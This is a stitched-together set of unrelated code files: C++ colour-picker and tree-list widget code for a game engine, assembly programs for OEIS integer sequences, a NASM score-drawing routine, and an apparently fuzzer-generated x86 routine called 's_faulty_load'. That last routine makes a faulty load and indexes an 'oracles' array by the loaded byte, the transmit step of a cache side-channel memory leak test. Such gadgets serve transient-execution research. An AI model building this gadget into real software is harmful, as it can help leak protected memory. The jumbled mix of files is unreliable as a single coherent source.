_triTransform); _B = XMVector4Transform(_B, _triTransform); _C = XMVector4Transform(_C, _triTransform); XMVECTOR O = XMVectorSet(pointer.x, pointer.y, 0, 0); XMVECTOR D = XMVectorSet(0, 0, 1, 0); bool hover_saturation = TriangleTests::Intersects(O, D, _A, _B, _C, distTri); bool dragged = false; if (wi::input::Press(wi::input::MOUSE_BUTTON_LEFT)) { if (hover_hue) { colorpickerstate = CPS_HUE; dragged = true; } else if (hover_saturation) { colorpickerstate = CPS_SATURATION; dragged = true; } } if (wi::input::Down(wi::input::MOUSE_BUTTON_LEFT)) { if (colorpickerstate > CPS_IDLE) { // continue drag if already grabbed whether it is intersecting or not dragged = true; } } else { colorpickerstate = CPS_IDLE; } dragged = dragged; if (colorpickerstate == CPS_HUE && dragged) { //hue pick const float angle = wi::math::GetAngle(XMFLOAT2(pointer.x - center.x, pointer.y - center.y), XMFLOAT2(colorpicker_radius, 0)); hue = angle / XM_2PI * 360.0f; Activate(); } else if (colorpickerstate == CPS_SATURATION && dragged) { // saturation pick float u, v, w; wi::math::GetBarycentric(O, _A, _B, _C, u, v, w, true); // u = saturated corner (color) // v = desaturated corner (white) // w = no luminosity corner (black) hsv source; source.h = hue; source.s = 1; source.v = 1; rgb result = hsv2rgb(source); XMVECTOR color_corner = XMVectorSet(result.r, result.g, result.b, 1); XMVECTOR white_corner = XMVectorSet(1, 1, 1, 1); XMVECTOR black_corner = XMVectorSet(0, 0, 0, 1); XMVECTOR inner_point = u * color_corner + v * white_corner + w * black_corner; result.r = XMVectorGetX(inner_point); result.g = XMVectorGetY(inner_point); result.b = XMVectorGetZ(inner_point); source = rgb2hsv(result); saturation = source.s; luminance = source.v; Activate(); } else if (state != IDLE) { Deactivate(); } wi::Color color = GetPickColor(); text_R.SetValue((int)color.getR()); text_G.SetValue((int)color.getG()); text_B.SetValue((int)color.getB()); text_H.SetValue(int(hue)); text_S.SetValue(int(saturation * 100)); text_V.SetValue(int(luminance * 100)); if (dragged) { FireEvents(); } } } void ColorPicker::Render(const wi::Canvas& canvas, CommandList cmd) const { Window::Render(canvas, cmd); if (!IsVisible() || IsMinimized()) { return; } GraphicsDevice* device = wi::graphics::GetDevice(); struct Vertex { XMFLOAT4 pos; XMFLOAT4 col; }; static wi::graphics::GPUBuffer vb_hue; static wi::graphics::GPUBuffer vb_picker_saturation; static wi::graphics::GPUBuffer vb_picker_hue; static wi::graphics::GPUBuffer vb_preview; static wi::vector<Vertex> vertices_saturation; static bool buffersComplete = false; if (!buffersComplete) { buffersComplete = true; // saturation { vertices_saturation.push_back({ XMFLOAT4(0,0,0,0),XMFLOAT4(1,0,0,1) }); // hue vertices_saturation.push_back({ XMFLOAT4(0,0,0,0),XMFLOAT4(1,1,1,1) }); // white vertices_saturation.push_back({ XMFLOAT4(0,0,0,0),XMFLOAT4(0,0,0,1) }); // black wi::math::ConstructTriangleEquilateral(colorpicker_radius_triangle, vertices_saturation[0].pos, vertices_saturation[1].pos, vertices_saturation[2].pos); // create alpha blended edge: vertices_saturation.push_back(vertices_saturation[0]); // outer vertices_saturation.push_back(vertices_saturation[0]); // inner vertices_saturation.push_back(vertices_saturation[1]); // outer vertices_saturation.push_back(vertices_saturation[1]); // inner vertices_saturation.push_back(vertices_saturation[2]); // outer vertices_saturation.push_back(vertices_saturation[2]); // inner vertices_saturation.push_back(vertices_saturation[0]); // outer vertices_saturation.push_back(vertices_saturation[0]); // inner wi::math::ConstructTriangleEquilateral(colorpicker_radius_triangle + 4, vertices_saturation[3].pos, vertices_saturation[5].pos, vertices_saturation[7].pos); // extrude outer vertices_saturation[9].pos = vertices_saturation[3].pos; // last outer } // hue { const float edge = 2.0f; wi::vector<Vertex> vertices; uint32_t segment_count = 100; // inner alpha blended edge for (uint32_t i = 0; i <= segment_count; ++i) { float p = float(i) / segment_count; float t = p * XM_2PI; float x = cos(t); float y = -sin(t); hsv source; source.h = p * 360.0f; source.s = 1; source.v = 1; rgb result = hsv2rgb(source); XMFLOAT4 color = XMFLOAT4(result.r, result.g, result.b, 1); XMFLOAT4 coloralpha = XMFLOAT4(result.r, result.g, result.b, 0); vertices.push_back({ XMFLOAT4((colorpicker_radius - edge) * x, (colorpicker_radius - edge) * y, 0, 1), coloralpha }); vertices.push_back({ XMFLOAT4(colorpicker_radius * x, colorpicker_radius * y, 0, 1), color }); } // middle hue for (uint32_t i = 0; i <= segment_count; ++i) { float p = float(i) / segment_count; float t = p * XM_2PI; float x = cos(t); float y = -sin(t); hsv source; source.h = p * 360.0f; source.s = 1; source.v = 1; rgb result = hsv2rgb(source); XMFLOAT4 color = XMFLOAT4(result.r, result.g, result.b, 1); vertices.push_back({ XMFLOAT4(colorpicker_radius * x, colorpicker_radius * y, 0, 1), color }); vertices.push_back({ XMFLOAT4((colorpicker_radius + colorpicker_width) * x, (colorpicker_radius + colorpicker_width) * y, 0, 1), color }); } // outer alpha blended edge for (uint32_t i = 0; i <= segment_count; ++i) { float p = float(i) / segment_count; float t = p * XM_2PI; float x = cos(t); float y = -sin(t); hsv source; source.h = p * 360.0f; source.s = 1; source.v = 1; rgb result = hsv2rgb(source); XMFLOAT4 color = XMFLOAT4(result.r, result.g, result.b, 1); XMFLOAT4 coloralpha = XMFLOAT4(result.r, result.g, result.b, 0); vertices.push_back({ XMFLOAT4((colorpicker_radius + colorpicker_width) * x, (colorpicker_radius + colorpicker_width) * y, 0, 1), color }); vertices.push_back({ XMFLOAT4((colorpicker_radius + colorpicker_width + edge) * x, (colorpicker_radius + colorpicker_width + edge) * y, 0, 1), coloralpha }); } GPUBufferDesc desc; desc.bind_flags = BindFlag::VERTEX_BUFFER; desc.size = vertices.size() * sizeof(Vertex); desc.stride = 0; device->CreateBuffer(&desc, vertices.data(), &vb_hue); } // saturation picker (small circle) { float _radius = 3; float _width = 3; wi::vector<Vertex> vertices; uint32_t segment_count = 100; for (uint32_t i = 0; i <= segment_count; ++i) { float p = float(i) / 100; float t = p * XM_2PI; float x = cos(t); float y = -sin(t); vertices.push_back({ XMFLOAT4(_radius * x, _radius * y, 0, 1), XMFLOAT4(1,1,1,1) }); vertices.push_back({ XMFLOAT4((_radius + _width) * x, (_radius + _width) * y, 0, 1), XMFLOAT4(1,1,1,1) }); } GPUBufferDesc desc; desc.bind_flags = BindFlag::VERTEX_BUFFER; desc.size = vertices.size() * sizeof(Vertex); desc.stride = 0; device->CreateBuffer(&desc, vertices.data(), &vb_picker_saturation); } // hue picker (rectangle) { float boldness = 4.0f; float halfheight = 8.0f; Vertex vertices[] = { // left side: { XMFLOAT4(colorpicker_radius - boldness, -halfheight, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(colorpicker_radius, -halfheight, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(colorpicker_radius - boldness, halfheight, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(colorpicker_radius, halfheight, 0, 1),XMFLOAT4(1,1,1,1) }, // bottom side: { XMFLOAT4(colorpicker_radius - boldness, halfheight, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(colorpicker_radius - boldness, halfheight - boldness, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(colorpicker_radius + colorpicker_width + boldness, halfheight, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(colorpicker_radius + colorpicker_width + boldness, halfheight - boldness, 0, 1),XMFLOAT4(1,1,1,1) }, // right side: { XMFLOAT4(colorpicker_radius + colorpicker_width + boldness, halfheight, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(colorpicker_radius + colorpicker_width, halfheight, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(colorpicker_radius + colorpicker_width + boldness, -halfheight, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(colorpicker_radius + colorpicker_width, -halfheight, 0, 1),XMFLOAT4(1,1,1,1) }, // top side: { XMFLOAT4(colorpicker_radius + colorpicker_width + boldness, -halfheight, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(colorpicker_radius + colorpicker_width + boldness, -halfheight + boldness, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(colorpicker_radius - boldness, -halfheight, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(colorpicker_radius - boldness, -halfheight + boldness, 0, 1),XMFLOAT4(1,1,1,1) }, }; GPUBufferDesc desc; desc.bind_flags = BindFlag::VERTEX_BUFFER; desc.size = sizeof(vertices); desc.stride = 0; device->CreateBuffer(&desc, vertices, &vb_picker_hue); } // preview { float _width = 20; Vertex vertices[] = { { XMFLOAT4(-_width, -_width, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(_width, -_width, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(-_width, _width, 0, 1),XMFLOAT4(1,1,1,1) }, { XMFLOAT4(_width, _width, 0, 1),XMFLOAT4(1,1,1,1) }, }; GPUBufferDesc desc; desc.bind_flags = BindFlag::VERTEX_BUFFER; desc.size = sizeof(vertices); device->CreateBuffer(&desc, vertices, &vb_preview); } } const wi::Color final_color = GetPickColor(); const float angle = hue / 360.0f * XM_2PI; const XMMATRIX Projection = canvas.GetProjection(); device->BindPipelineState(&gui_internal().PSO_colored, cmd); ApplyScissor(canvas, scissorRect, cmd); float sca = std::min(scale.x / cp_width, scale.y / cp_height); XMMATRIX W = XMMatrixScaling(sca, sca, 1) * XMMatrixTranslation(translation.x + scale.x * 0.4f, translation.y + scale.y * 0.5f, 0) ; MiscCB cb; // render saturation triangle { hsv source; source.h = hue; source.s = 1; source.v = 1; rgb result = hsv2rgb(source); vertices_saturation[0].col = XMFLOAT4(result.r, result.g, result.b, 1); vertices_saturation[3].col = vertices_saturation[0].col; vertices_saturation[3].col.w = 0; vertices_saturation[4].col = vertices_saturation[0].col; vertices_saturation[5].col = vertices_saturation[1].col; vertices_saturation[5].col.w = 0; vertices_saturation[6].col = vertices_saturation[1].col; vertices_saturation[7].col = vertices_saturation[2].col; vertices_saturation[7].col.w = 0; vertices_saturation[8].col = vertices_saturation[2].col; vertices_saturation[9].col = vertices_saturation[0].col; vertices_saturation[9].col.w = 0; vertices_saturation[10].col = vertices_saturation[0].col; size_t alloc_size = sizeof(Vertex) * vertices_saturation.size(); GraphicsDevice::GPUAllocation vb_saturation = device->AllocateGPU(alloc_size, cmd); memcpy(vb_saturation.data, vertices_saturation.data(), alloc_size); XMStoreFloat4x4(&cb.g_xTransform, XMMatrixRotationZ(-angle) * W * Projection ); cb.g_xColor = IsEnabled() ? float4(1, 1, 1, 1) : float4(0.5f, 0.5f, 0.5f, 1); device->BindDynamicConstantBuffer(cb, CBSLOT_RENDERER_MISC, cmd); const GPUBuffer* vbs[] = { &vb_saturation.buffer, }; const uint32_t strides[] = { sizeof(Vertex), }; const uint64_t offsets[] = { vb_saturation.offset, }; device->BindVertexBuffers(vbs, 0, arraysize(vbs), strides, offsets, cmd); device->Draw((uint32_t)vertices_saturation.size(), 0, cmd); } // render hue circle { XMStoreFloat4x4(&cb.g_xTransform, W * Projection ); cb.g_xColor = IsEnabled() ? float4(1, 1, 1, 1) : float4(0.5f, 0.5f, 0.5f, 1); device->BindDynamicConstantBuffer(cb, CBSLOT_RENDERER_MISC, cmd); const GPUBuffer* vbs[] = { &vb_hue, }; const uint32_t strides[] = { sizeof(Vertex), }; device->BindVertexBuffers(vbs, 0, arraysize(vbs), strides, nullptr, cmd); device->Draw((uint32_t)(vb_hue.GetDesc().size / sizeof(Vertex)), 0, cmd); } // render hue picker if (IsEnabled()) { XMStoreFloat4x4(&cb.g_xTransform, XMMatrixRotationZ(-hue / 360.0f * XM_2PI) * W * Projection ); hsv source; source.h = hue; source.s = 1; source.v = 1; rgb result = hsv2rgb(source); cb.g_xColor = float4(1 - result.r, 1 - result.g, 1 - result.b, 1); device->BindDynamicConstantBuffer(cb, CBSLOT_RENDERER_MISC, cmd); const GPUBuffer* vbs[] = { &vb_picker_hue, }; const uint32_t strides[] = { sizeof(Vertex), }; device->BindVertexBuffers(vbs, 0, arraysize(vbs), strides, nullptr, cmd); device->Draw((uint32_t)(vb_picker_hue.GetDesc().size / sizeof(Vertex)), 0, cmd); } // render saturation picker if (IsEnabled()) { XMFLOAT4 A, B, C; wi::math::ConstructTriangleEquilateral(colorpicker_radius_triangle, A, B, C); XMVECTOR _A = XMLoadFloat4(&A); XMVECTOR _B = XMLoadFloat4(&B); XMVECTOR _C = XMLoadFloat4(&C); XMMATRIX _triTransform = XMMatrixRotationZ(-hue / 360.0f * XM_2PI); _A = XMVector4Transform(_A, _triTransform); _B = XMVector4Transform(_B, _triTransform); _C = XMVector4Transform(_C, _triTransform); hsv source; source.h = hue; source.s = 1; source.v = 1; rgb result = hsv2rgb(source); XMVECTOR color_corner = XMVectorSet(result.r, result.g, result.b, 1); XMVECTOR white_corner = XMVectorSet(1, 1, 1, 1); XMVECTOR black_corner = XMVectorSet(0, 0, 0, 1); source.h = hue; source.s = saturation; source.v = luminance; result = hsv2rgb(source); XMVECTOR inner_point = XMVectorSet(result.r, result.g, result.b, 1); float u, v, w; wi::math::GetBarycentric(inner_point, color_corner, white_corner, black_corner, u, v, w, true); XMVECTOR picker_center = u * _A + v * _B + w * _C; XMStoreFloat4x4(&cb.g_xTransform, XMMatrixTranslationFromVector(picker_center) * W * Projection ); cb.g_xColor = float4(1 - final_color.toFloat3().x, 1 - final_color.toFloat3().y, 1 - final_color.toFloat3().z, 1); device->BindDynamicConstantBuffer(cb, CBSLOT_RENDERER_MISC, cmd); const GPUBuffer* vbs[] = { &vb_picker_saturation, }; const uint32_t strides[] = { sizeof(Vertex), }; device->BindVertexBuffers(vbs, 0, arraysize(vbs), strides, nullptr, cmd); device->Draw((uint32_t)(vb_picker_saturation.GetDesc().size / sizeof(Vertex)), 0, cmd); } // render preview { XMStoreFloat4x4(&cb.g_xTransform, XMMatrixScaling(sca, sca, 1) * XMMatrixTranslation(translation.x + scale.x - 40 * sca, translation.y + 40, 0) * Projection ); cb.g_xColor = final_color.toFloat4(); device->BindDynamicConstantBuffer(cb, CBSLOT_RENDERER_MISC, cmd); const GPUBuffer* vbs[] = { &vb_preview, }; const uint32_t strides[] = { sizeof(Vertex), }; device->BindVertexBuffers(vbs, 0, arraysize(vbs), strides, nullptr, cmd); device->Draw((uint32_t)(vb_preview.GetDesc().size / sizeof(Vertex)), 0, cmd); } } wi::Color ColorPicker::GetPickColor() const { hsv source; source.h = hue; source.s = saturation; source.v = luminance; rgb result = hsv2rgb(source); return wi::Color::fromFloat4(XMFLOAT4(result.r, result.g, result.b, alphaSlider.GetValue() / 255.0f)); } void ColorPicker::SetPickColor(wi::Color value) { if (colorpickerstate != CPS_IDLE) { // Only allow setting the pick color when picking is not active, the RGB and HSV precision combat each other return; } rgb source; source.r = value.toFloat3().x; source.g = value.toFloat3().y; source.b = value.toFloat3().z; hsv result = rgb2hsv(source); if (value.getR() != value.getG() || value.getG() != value.getB() || value.getR() != value.getB()) { hue = result.h; // only change the hue when not pure greyscale because those don't retain the saturation value } saturation = result.s; luminance = result.v; alphaSlider.SetValue((float)value.getA()); } void ColorPicker::FireEvents() { if (onColorChanged == nullptr) return; EventArgs args; args.color = GetPickColor(); onColorChanged(args); } void ColorPicker::OnColorChanged(std::function<void(EventArgs args)> func) { onColorChanged = move(func); } inline float item_height() { return 20.0f; } inline float tree_scrollbar_width() { return 12.0f; } void TreeList::Create(const std::string& name) { SetName(name); SetText(name); OnSelect([](EventArgs args) {}); SetSize(XMFLOAT2(100, 20)); for (int i = FOCUS + 1; i < WIDGETSTATE_COUNT; ++i) { sprites[i].params.color = sprites[FOCUS].params.color; } font.params.v_align = wi::font::WIFALIGN_CENTER; } float TreeList::GetItemOffset(int index) const { return 2 + list_offset + index * item_height(); } Hitbox2D TreeList::GetHitbox_ListArea() const { return Hitbox2D(XMFLOAT2(translation.x, translation.y + item_height() + 1), XMFLOAT2(scale.x - tree_scrollbar_width() - 1, scale.y - item_height() - 1)); } Hitbox2D TreeList::GetHitbox_Item(int visible_count, int level) const { XMFLOAT2 pos = XMFLOAT2(translation.x + 2 + level * item_height(), translation.y + GetItemOffset(visible_count) + item_height() * 0.5f); Hitbox2D hitbox; hitbox.pos = XMFLOAT2(pos.x + item_height() * 0.5f + 2, pos.y - item_height() * 0.5f); hitbox.siz = XMFLOAT2(scale.x - 2 - item_height() * 0.5f - 2 - level * item_height() - tree_scrollbar_width() - 2, item_height()); return hitbox; } Hitbox2D TreeList::GetHitbox_ItemOpener(int visible_count, int level) const { XMFLOAT2 pos = XMFLOAT2(translation.x + 2 + level * item_height(), translation.y + GetItemOffset(visible_count) + item_height() * 0.5f); return Hitbox2D(XMFLOAT2(pos.x, pos.y - item_height() * 0.25f), XMFLOAT2(item_height() * 0.5f, item_height() * 0.5f)); } bool TreeList::HasScrollbar() const { return scale.y < (int)items.size()* item_height(); } void TreeList::Update(const wi::Canvas& canvas, float dt) { if (!IsVisible()) { return; } Widget::Update(canvas, dt); if (IsEnabled()) { if (state == FOCUS) { state = IDLE; } if (state == DEACTIVATING) { state = IDLE; } if (state == ACTIVE) { Deactivate(); } Hitbox2D hitbox = Hitbox2D(XMFLOAT2(translation.x, translation.y), XMFLOAT2(scale.x, scale.y)); Hitbox2D pointerHitbox = GetPointerHitbox(); if (state == IDLE && hitbox.intersects(pointerHitbox)) { state = FOCUS; } bool clicked = false; if (wi::input::Press(wi::input::MOUSE_BUTTON_LEFT)) { clicked = true; } bool click_down = false; if (wi::input::Down(wi::input::MOUSE_BUTTON_LEFT)) { click_down = true; if (state == FOCUS || state == DEACTIVATING) { // Keep pressed until mouse is released Activate(); } } // compute control-list height list_height = 0; { int visible_count = 0; int parent_level = 0; bool parent_open = true; for (const Item& item : items) { if (!parent_open && item.level > parent_level) { continue; } visible_count++; parent_open = item.open; parent_level = item.level; list_height += item_height(); } } const float scrollbar_begin = translation.y + item_height(); const float scrollbar_end = scrollbar_begin + scale.y - item_height(); const float scrollbar_size = scrollbar_end - scrollbar_begin; const float scrollbar_granularity = std::min(1.0f, scrollbar_size / list_height); scrollbar_height = std::max(tree_scrollbar_width(), scrollbar_size * scrollbar_granularity); if (!click_down) { scrollbar_state = SCROLLBAR_INACTIVE; } Hitbox2D scroll_box; scroll_box.pos = XMFLOAT2(translation.x + scale.x - tree_scrollbar_width(), translation.y + item_height() + 1); scroll_box.siz = XMFLOAT2(tree_scrollbar_width(), scale.y - item_height() - 1); if (scroll_box.intersects(pointerHitbox)) { if (clicked) { scrollbar_state = SCROLLBAR_GRABBED; } else if (!click_down) { scrollbar_state = SCROLLBAR_HOVER; state = FOCUS; } } if (scrollbar_state == SCROLLBAR_GRABBED) { Activate(); scrollbar_delta = pointerHitbox.pos.y - scrollbar_height * 0.5f - scrollbar_begin; } if (state == FOCUS) { scrollbar_delta -= wi::input::GetPointer().z * 10; } scrollbar_delta = wi::math::Clamp(scrollbar_delta, 0, scrollbar_size - scrollbar_height); scrollbar_value = wi::math::InverseLerp(scrollbar_begin, scrollbar_end, scrollbar_begin + scrollbar_delta); list_offset = -scrollbar_value * list_height; Hitbox2D itemlist_box = GetHitbox_ListArea(); // control-list item_highlight = -1; opener_highlight = -1; if (scrollbar_state == SCROLLBAR_INACTIVE) { int i = -1; int visible_count = 0; int parent_level = 0; bool parent_open = true; for (Item& item : items) { i++; if (!parent_open && item.level > parent_level) { continue; } visible_count++; parent_open = item.open; parent_level = item.level; Hitbox2D open_box = GetHitbox_ItemOpener(visible_count, item.level); if (!open_box.intersects(itemlist_box)) { continue; } if (open_box.intersects(pointerHitbox)) { // Opened flag box: opener_highlight = i; if (clicked) { item.open = !item.open; Activate(); } } else { // Item name box: Hitbox2D name_box = GetHitbox_Item(visible_count, item.level); if (name_box.intersects(pointerHitbox)) { item_highlight = i; if (clicked) { if (!wi::input::Down(wi::input::KEYBOARD_BUTTON_LCONTROL) && !wi::input::Down(wi::input::KEYBOARD_BUTTON_RCONTROL) && !wi::input::Down(wi::input::KEYBOARD_BUTTON_LSHIFT) && !wi::input::Down(wi::input::KEYBOARD_BUTTON_RSHIFT)) { ClearSelection(); } Select(i); Activate(); } } } } } } sprites[state].params.siz.y = item_height(); font.params.posX = translation.x + 2; font.params.posY = translation.y + sprites[state].params.siz.y * 0.5f; } void TreeList::Render(const wi::Canvas& canvas, CommandList cmd) const { if (!IsVisible()) { return; } GraphicsDevice* device = wi::graphics::GetDevice(); // control-base sprites[state].Draw(cmd); ApplyScissor(canvas, scissorRect, cmd); font.Draw(cmd); // scrollbar background wi::image::Params fx = sprites[state].params; fx.pos = XMFLOAT3(translation.x + scale.x - tree_scrollbar_width(), translation.y + item_height() + 1, 0); fx.siz = XMFLOAT2(tree_scrollbar_width(), scale.y - item_height() - 1); fx.color = sprites[IDLE].params.color; wi::image::Draw(wi::texturehelper::getWhite(), fx, cmd); // scrollbar wi::Color scrollbar_color = wi::Color::fromFloat4(sprites[IDLE].params.color); if (scrollbar_state == SCROLLBAR_HOVER) { scrollbar_color = wi::Color::fromFloat4(sprites[FOCUS].params.color); } else if (scrollbar_state == SCROLLBAR_GRABBED) { scrollbar_color = wi::Color::White(); } wi::image::Draw(wi::texturehelper::getWhite() , wi::image::Params(translation.x + scale.x - tree_scrollbar_width(), translation.y + item_height() + 1 + scrollbar_delta, tree_scrollbar_width(), scrollbar_height, scrollbar_color), cmd); // list background Hitbox2D itemlist_box = GetHitbox_ListArea(); fx.pos = XMFLOAT3(itemlist_box.pos.x, itemlist_box.pos.y, 0); fx.siz = XMFLOAT2(itemlist_box.siz.x, itemlist_box.siz.y); wi::image::Draw(wi::texturehelper::getWhite(), fx, cmd); Rect rect_without_scrollbar; rect_without_scrollbar.left = (int)itemlist_box.pos.x; rect_without_scrollbar.right = (int)(itemlist_box.pos.x + itemlist_box.siz.x); rect_without_scrollbar.top = (int)itemlist_box.pos.y; rect_without_scrollbar.bottom = (int)(itemlist_box.pos.y + itemlist_box.siz.y); ApplyScissor(canvas, rect_without_scrollbar, cmd); struct Vertex { XMFLOAT4 pos; XMFLOAT4 col; }; static GPUBuffer vb_triangle; if (!vb_triangle.IsValid()) { Vertex vertices[3]; vertices[0].col = XMFLOAT4(1, 1, 1, 1); vertices[1].col = XMFLOAT4(1, 1, 1, 1); vertices[2].col = XMFLOAT4(1, 1, 1, 1); wi::math::ConstructTriangleEquilateral(1, vertices[0].pos, vertices[1].pos, vertices[2].pos); GPUBufferDesc desc; desc.bind_flags = BindFlag::VERTEX_BUFFER; desc.size = sizeof(vertices); device->CreateBuffer(&desc, vertices, &vb_triangle); } const XMMATRIX Projection = canvas.GetProjection(); // control-list int i = -1; int visible_count = 0; int parent_level = 0; bool parent_open = true; for (const Item& item : items) { i++; if (!parent_open && item.level > parent_level) { continue; } visible_count++; parent_open = item.open; parent_level = item.level; Hitbox2D open_box = GetHitbox_ItemOpener(visible_count, item.level); if (!open_box.intersects(itemlist_box)) { continue; } Hitbox2D name_box = GetHitbox_Item(visible_count, item.level); // selected box: if (item.selected || item_highlight == i) { wi::image::Draw(wi::texturehelper::getWhite() , wi::image::Params(name_box.pos.x, name_box.pos.y, name_box.siz.x, name_box.siz.y, sprites[item.selected ? FOCUS : IDLE].params.color), cmd); } // opened flag triangle: { device->BindPipelineState(&gui_internal().PSO_colored, cmd); MiscCB cb; cb.g_xColor = opener_highlight == i ? wi::Color::White().toFloat4() : sprites[FOCUS].params.color; XMStoreFloat4x4(&cb.g_xTransform, XMMatrixScaling(item_height() * 0.3f, item_height() * 0.3f, 1) * XMMatrixRotationZ(item.open ? XM_PIDIV2 : 0) * XMMatrixTranslation(open_box.pos.x + open_box.siz.x * 0.5f, open_box.pos.y + open_box.siz.y * 0.25f, 0) * Projection ); device->BindDynamicConstantBuffer(cb, CBSLOT_RENDERER_MISC, cmd); const GPUBuffer* vbs[] = { &vb_triangle, }; const uint32_t strides[] = { sizeof(Vertex), }; device->BindVertexBuffers(vbs, 0, arraysize(vbs), strides, nullptr, cmd); device->Draw(3, 0, cmd); } // Item name text: wi::font::Draw(item.name, wi::font::Params(name_box.pos.x + 1, name_box.pos.y + name_box.siz.y * 0.5f, wi::font::WIFONTSIZE_DEFAULT, wi::font::WIFALIGN_LEFT, wi::font::WIFALIGN_CENTER, font.params.color, font.params.shadowColor), cmd); } } void TreeList::OnSelect(std::function<void(EventArgs args)> func) { onSelect = move(func); } void TreeList::AddItem(const Item& item) { items.push_back(item); } void TreeList::ClearItems() { items.clear(); } void TreeList::ClearSelection() { for (Item& item : items) { item.selected = false; } EventArgs args; args.iValue = -1; onSelect(args); } void TreeList::Select(int index) { items[index].selected = true; EventArgs args; args.iValue = index; args.sValue = items[index].name; args.userdata = items[index].userdata; onSelect(args); } const TreeList::Item& TreeList::GetItem(int index) const { return items[index]; } }
; A164073: a(n) = 2*a(n-2) for n > 2; a(1) = 1, a(2) = 3. ; 1,3,2,6,4,12,8,24,16,48,32,96,64,192,128,384,256,768,512,1536,1024,3072,2048,6144,4096,12288,8192,24576,16384,49152,32768,98304,65536,196608,131072,393216,262144,786432,524288,1572864,1048576,3145728,2097152,6291456,4194304,12582912,8388608,25165824,16777216,50331648,33554432,100663296,67108864,201326592,134217728,402653184,268435456,805306368,536870912,1610612736,1073741824,3221225472,2147483648,6442450944,4294967296,12884901888,8589934592,25769803776,17179869184,51539607552,34359738368,103079215104,68719476736,206158430208,137438953472,412316860416,274877906944,824633720832,549755813888,1649267441664,1099511627776,3298534883328,2199023255552,6597069766656,4398046511104,13194139533312,8796093022208,26388279066624,17592186044416,52776558133248,35184372088832,105553116266496,70368744177664,211106232532992,140737488355328,422212465065984,281474976710656,844424930131968,562949953421312,1688849860263936,1125899906842624,3377699720527872,2251799813685248,6755399441055744,4503599627370496 lpb $0,1 sub $0,2 add $1,1 mul $1,2 lpe mov $2,$0 lpb $2,1 mul $1,3 add $1,4 div $2,7 lpe div $1,2 add $1,1
; A305157: a(n) = 164*2^n - 99. ; 65,229,557,1213,2525,5149,10397,20893,41885,83869,167837,335773,671645,1343389,2686877,5373853,10747805,21495709,42991517,85983133,171966365,343932829,687865757,1375731613,2751463325,5502926749,11005853597,22011707293,44023414685,88046829469,176093659037,352187318173,704374636445,1408749272989,2817498546077,5634997092253,11269994184605,22539988369309,45079976738717,90159953477533,180319906955165,360639813910429,721279627820957,1442559255642013,2885118511284125,5770237022568349,11540474045136797 mov $1,2 pow $1,$0 sub $1,1 mul $1,164 add $1,65 mov $0,$1
%macro INI 0 push ebp mov ebp, esp pusha %endmacro %macro END 0 popa mov esp, ebp pop ebp %endmacro section .text global paint_points paint_points: INI %define punt_map [ebp + 12] %define punt_points [ebp + 8] mov ebx, punt_points mov esi, punt_map mov [esi], byte 'S' mov [esi + 4], byte 'C' mov [esi + 8], byte 'O' mov [esi + 12], byte 'R' mov [esi + 16], byte 'E' mov [esi + 20], byte ':' ;mov [esi + 24], byte ':' mov eax, [ebx + 4] mov ebx, 10 mov ecx, 5 mov edi, 32 add edi, 12 ciclo: xor edx, edx ; make edx = 0 div ebx add dl, '0' mov [esi + edi], byte dl mov [esi + edi + 1], byte 13 sub edi, 4 loop ciclo END %undef punt_map %undef punt_points ret
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r8 push %r9 push %rbp push %rdx push %rsi // Store lea addresses_PSE+0x1d77e, %r14 nop nop nop nop nop xor $8834, %r9 movl $0x51525354, (%r14) xor %r9, %r9 // Store lea addresses_A+0x1e87e, %rsi clflush (%rsi) nop nop nop dec %rbp mov $0x5152535455565758, %r8 movq %r8, %xmm4 movups %xmm4, (%rsi) nop cmp %r11, %r11 // Store mov $0x47e, %rbp nop nop add %rdx, %rdx movb $0x51, (%rbp) nop nop nop nop nop inc %r9 // Faulty Load lea addresses_A+0x1e87e, %rsi nop nop nop cmp $25745, %r9 mov (%rsi), %rdx lea oracles, %rsi and $0xff, %rdx shlq $12, %rdx mov (%rsi,%rdx,1), %rdx pop %rsi pop %rdx pop %rbp pop %r9 pop %r8 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} <gen_prepare_buffer> {'58': 129} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
